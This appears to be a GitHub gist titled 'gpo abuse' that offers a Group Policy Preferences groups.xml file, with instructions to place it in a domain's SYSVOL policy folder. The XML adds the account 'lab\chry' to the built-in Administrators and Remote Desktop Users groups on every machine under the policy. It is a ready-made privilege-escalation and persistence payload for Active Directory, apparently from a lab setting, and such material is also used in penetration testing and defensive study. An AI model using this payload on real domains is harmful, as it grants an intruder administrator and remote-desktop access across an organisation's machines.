Skip to content

Instantly share code, notes, and snippets.

@chryzsh

chryzsh/gpo abuse

Last active March 8, 2019 11:25
Show Gist options
  • Save chryzsh/8dff028326356a3f8f44d99016c14098 to your computer and use it in GitHub Desktop.
Save chryzsh/8dff028326356a3f8f44d99016c14098 to your computer and use it in GitHub Desktop.
Download ZIP
add user to admin and rdp. put this in sysvol/guid/machine/preferences/groups/groups.xml
Raw
gpo abuse
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2019-03-07 17:32:24" uid="{ECC42B3A-5D61-4705-BC17-467C4A2764DE}"><Properties action="U" newName="" description="GPP - admins" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)"><Members><Member name="lab\chry" action="ADD" sid="S-1-5-21-1805218588-1302490888-793887298-1113"/></Members></Properties></Group>
<Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Remote Desktop Users (built-in)" image="2" changed="2019-03-07 17:33:38" uid="{5F8E65C1-F1BA-4207-8549-5D6606F8E7DF}"><Properties action="U" newName="" description="gpp - add chry rdp" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-555" groupName="Remote Desktop Users (built-in)"><Members><Member name="lab\chry" action="ADD" sid="S-1-5-21-1805218588-1302490888-793887298-1113"/></Members></Properties></Group>
</Groups>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment